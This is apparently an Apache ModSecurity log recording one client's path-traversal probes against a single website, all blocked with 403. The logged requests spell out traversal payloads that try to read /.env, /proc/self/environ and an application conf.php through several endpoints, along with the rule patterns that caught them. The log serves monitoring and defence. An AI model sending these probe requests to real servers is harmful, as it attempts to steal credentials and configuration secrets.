[Sun Oct 25 14:01:41.764425 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBQ1D5604vyZoHXzbfAAAAAU"]
[Sun Oct 25 14:01:41.764673 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBQ1D5604vyZoHXzbfAAAAAU"]
[Sun Oct 25 14:01:41.774969 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpEgAAAAc"]
[Sun Oct 25 14:01:41.775047 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpEgAAAAc"]
[Sun Oct 25 14:01:41.775193 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpEgAAAAc"]
[Sun Oct 25 14:01:41.775433 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpEgAAAAc"]
[Sun Oct 25 14:01:41.777448 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/document.php"] [unique_id "at5EBSjnAS4eJh-ada2NJgAAAA0"]
[Sun Oct 25 14:01:41.777524 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/document.php"] [unique_id "at5EBSjnAS4eJh-ada2NJgAAAA0"]
[Sun Oct 25 14:01:41.779274 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at5EBfwFw76qlSfceadvgQAAAAA"]
[Sun Oct 25 14:01:41.779338 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at5EBfwFw76qlSfceadvgQAAAAA"]
[Sun Oct 25 14:01:41.779508 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at5EBfwFw76qlSfceadvgQAAAAA"]
[Sun Oct 25 14:01:41.779751 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at5EBfwFw76qlSfceadvgQAAAAA"]
[Sun Oct 25 14:01:41.782510 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at5EBaYYcNPV1bnoekNX-AAAAAQ"]
[Sun Oct 25 14:01:41.782663 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at5EBaYYcNPV1bnoekNX-AAAAAQ"]
[Sun Oct 25 14:01:41.782897 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at5EBaYYcNPV1bnoekNX-AAAAAQ"]
[Sun Oct 25 14:01:41.784436 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40594] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBW1d3XiN0G_LuszDtgAAAAY"]
[Sun Oct 25 14:01:41.784502 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40594] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBW1d3XiN0G_LuszDtgAAAAY"]
[Sun Oct 25 14:01:41.784543 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40594] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBW1d3XiN0G_LuszDtgAAAAY"]
[Sun Oct 25 14:01:41.784570 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40594] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBW1d3XiN0G_LuszDtgAAAAY"]
[Sun Oct 25 14:01:41.784663 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40594] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:apis. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:apis: ../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBW1d3XiN0G_LuszDtgAAAAY"]
[Sun Oct 25 14:01:41.785331 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBW1d3XiN0G_LuszDtgAAAAY"]
[Sun Oct 25 14:01:41.785571 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=25,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBW1d3XiN0G_LuszDtgAAAAY"]
[Sun Oct 25 14:01:41.789548 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBYIGIq5euXyTbvT1QQAAACQ"]
[Sun Oct 25 14:01:41.789624 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBYIGIq5euXyTbvT1QQAAACQ"]
[Sun Oct 25 14:01:41.789653 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBYIGIq5euXyTbvT1QQAAACQ"]
[Sun Oct 25 14:01:41.789687 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBYIGIq5euXyTbvT1QQAAACQ"]
[Sun Oct 25 14:01:41.790319 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBYIGIq5euXyTbvT1QQAAACQ"]
[Sun Oct 25 14:01:41.790546 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at5EBYIGIq5euXyTbvT1QQAAACQ"]
[Sun Oct 25 14:01:41.791278 2026] [core:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] AH10244: invalid URI path (/static/../../../a/../../../../.env)
[Sun Oct 25 14:01:41.793609 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40586] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBe6EytsuoC67cD91kQAAAAE"]
[Sun Oct 25 14:01:41.793662 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40586] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBe6EytsuoC67cD91kQAAAAE"]
[Sun Oct 25 14:01:41.793693 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40586] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBe6EytsuoC67cD91kQAAAAE"]
[Sun Oct 25 14:01:41.794045 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40586] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBe6EytsuoC67cD91kQAAAAE"]
[Sun Oct 25 14:01:41.794261 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40586] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBe6EytsuoC67cD91kQAAAAE"]
[Sun Oct 25 14:01:41.795408 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBVY5e6yJWIYGXiqD8QAAAAk"]
[Sun Oct 25 14:01:41.795507 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at5EBVY5e6yJWIYGXiqD8QAAAAk"]
